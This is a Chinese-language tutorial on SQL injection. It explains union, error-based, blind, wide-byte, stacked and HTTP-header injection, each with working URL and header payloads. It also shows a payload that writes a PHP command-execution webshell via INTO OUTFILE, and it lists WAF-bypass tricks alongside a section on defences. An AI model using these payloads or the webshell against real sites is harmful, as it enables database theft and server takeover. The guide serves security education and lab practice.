SQL注入原理与实战全面指南

一、SQL注入基础原理

1.1 SQL注入定义

SQL注入是一种攻击技术，攻击者通过在应用程序的输入字段中插入恶意的SQL代码，欺骗后端数据库执行非预期的SQL命令。当Web应用向后台数据库传递SQL语句进行数据库操作时，如果对用户输入的参数没有经过严格的过滤处理，攻击者就可以构造特殊的SQL语句直接输入数据库引擎执行。

1.2 注入本质

SQL注入的本质是服务器没有对用户的输入做充分校验，导致用户可控的输入嵌入到SQL语句中并被服务端执行，可能导致：

• 应用程序信息泄露
• 攻击者写入webshell
• 数据库数据被篡改或删除

二、SQL注入分类与技术详解

2.1 联合查询注入(Union Query Injection)

2.1.1 原理

联合查询是将多个SELECT语句的结果合并为一个结果集，使用UNION或UNION ALL关键字实现：

• UNION：合并结果集并去除重复记录
• UNION ALL：合并结果集但不去除重复记录

2.1.2 利用条件

• 页面存在SQL注入漏洞
• 查询结果在前端有回显(回显位)
• 前后查询的字段数必须相同

2.1.3 利用步骤

1. 判断字段数：使用order by递增测试

   ?id=1' order by 4 --+
   

2. 确定回显位：使用负值使第一条查询无效

   ?id=-1' union select 1,2,3 --+
   

3. 获取数据库信息：

   ?id=-1' union select 1,database(),3 --+
   

2.2 报错注入(Error-based Injection)

2.2.1 原理

利用某些函数报错会返回参数值的特点，通过触发数据库错误来获取数据库的详细信息。

2.2.2 常用报错函数

1. updatexml函数

   updatexml(1, CONCAT('~', (SELECT version())), 1)
   

   • 利用无效XPath表达式触发错误
   • 错误信息中包含拼接的数据库信息

2. extractvalue函数

   extractvalue(1, CONCAT('~', (SELECT database())))
   

   • 原理与updatexml类似
   • 从错误信息中提取数据库名

3. floor函数

   SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x 
   FROM information_schema.tables GROUP BY x
   

   • 利用重复键错误泄露信息
   • 0x3a是冒号的十六进制表示

4. exp函数

   SELECT EXP(~(SELECT * FROM (SELECT user())a))
   

   • 利用数学错误触发报错
   • 按位取反操作导致错误

2.2.3 实战示例

?id=-1" union select 1,updatexml(1, CONCAT('~', (SELECT database())),3)--+

2.3 时间盲注(Time-based Blind Injection)

2.3.1 原理

当页面不会返回错误信息，只能通过响应时间判断注入是否成功。

2.3.2 常用延迟函数

1. sleep()

   SELECT IF(1=1, SLEEP(5), 0)
   

2. benchmark()

   SELECT IF(1=1, BENCHMARK(1000000, SHA1('test')), 0)
   

3. 笛卡尔积

   SELECT * FROM large_table1, large_table2 WHERE 1=1
   

2.3.3 利用步骤

1. 判断注入点：

   ?id=1' and sleep(5) --+
   

2. 猜数据库名长度：

   ?id=1' and if(length(database())=8,sleep(5),1)--+
   

3. 猜数据库名(ASCII码)：

   ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
   

4. 依次猜解表名、字段名等

2.4 宽字节注入

2.4.1 原理

利用GBK等宽字节编码特性绕过addslashes()转义：

• addslashes()将单引号转义为\'(URL编码：%5c%27)
• 在GBK编码中，%df%5c会被解析为汉字"雅"，使单引号逃逸

2.4.2 利用示例

?id=1%df' union select 1,database(),3 --+

2.5 堆叠注入(Stacked Injection)

2.5.1 原理

利用mysqli_multi_query()支持多条SQL语句执行的特性，通过分号分隔执行多条语句。

2.5.2 利用示例

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

2.6 布尔盲注(Boolean-based Blind Injection)

2.6.1 原理

根据页面返回True或False两种状态判断注入是否成功。

2.6.2 利用步骤

1. 判断数据库名长度：

   ?id=1' and length(database())=8--+
   

2. 猜数据库名：

   ?id=1'and left(database(),1)>'a'--+
   

   或

   ?id=1' and ascii(substr((database()),1,1)) >80--+
   

3. 依次猜解表名、字段名等

2.7 HTTP头部注入

2.7.1 常见类型

1. Cookie注入

   Cookie: Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1)#
   

2. User-Agent注入

   User-Agent: test' and updatexml(1,concat('~',database(),'~'),1) and '1'='1
   

3. Referer注入

   Referer: test' and updatexml(1,concat('~',database(),'~'),1) and '1'='1
   

4. XFF注入
   原理与上述类似

三、SQL注入防御措施

3.1 主要防御方法

1. 预编译语句(Prepared Statements)

   • 使用参数化查询，SQL语句与参数分离
   • 示例(Java)：

     String query = "SELECT * FROM users WHERE id = ?";
     PreparedStatement stmt = connection.prepareStatement(query);
     stmt.setInt(1, userId);
     

2. 输入验证

   • 黑名单：对特殊字符进行转义过滤
   • 白名单：使用正则表达式严格限制输入格式

3. 编码规范

   • 统一使用UTF-8等安全编码
   • 避免混合编码导致绕过

3.2 其他防御措施

• 最小权限原则：数据库账户仅授予必要权限
• 错误处理：避免详细错误信息暴露给用户
• WAF(Web应用防火墙)：作为额外防护层

四、高级话题与面试常见问题

4.1 写入webshell的方法

?id=1' union select 1,"<?php system($_GET['cmd']);?>",3 
into outfile 'C:/wamp64/www/shell.php'#

4.2 sqlmap中的risk和level

• risk：风险等级(1-3)，值越大测试的语句越多(强调数量)
• level：探测深度(1-5)，值越大测试的范围越广(如cookie、host等)

4.3 绕过WAF的技术

1. 编码绕过：十六进制、Unicode编码等
2. 注释混淆：/*!*/、--等
3. 大小写混合：SeLeCt代替select
4. 等价函数替换：sleep()换benchmark()
5. 盲注技术：时间盲注、布尔盲注
6. 分块传输编码

4.4 --os-shell使用条件

• 拥有网站写入权限
• secure_file_priv参数为空或为指定路径
• 知道网站的绝对路径

4.5 分析SQL注入告警是否成功

1. 排除非200状态码(302、404等)
2. 检查请求包中的SQL语句是否为恶意
3. 验证响应体是否包含数据库敏感信息

五、实战靶场练习

5.1 推荐靶场

1. sqli-labs：包含各种类型的SQL注入场景
2. DVWA(Damn Vulnerable Web Application)
3. WebGoat：OWASP提供的安全学习平台

5.2 练习建议

1. 从联合查询注入开始，掌握基本原理
2. 逐步尝试报错注入、盲注等高级技术
3. 使用Burp Suite等工具辅助测试
4. 结合sqlmap自动化工具验证手工注入结果

六、总结

SQL注入作为OWASP Top 10长期上榜的安全风险，理解其原理和防御方法对开发和安全人员都至关重要。通过系统学习各种注入技术，掌握防御措施，并辅以靶场实战练习，可以有效提升Web应用安全性。记住，安全是一个持续的过程，需要保持学习和实践。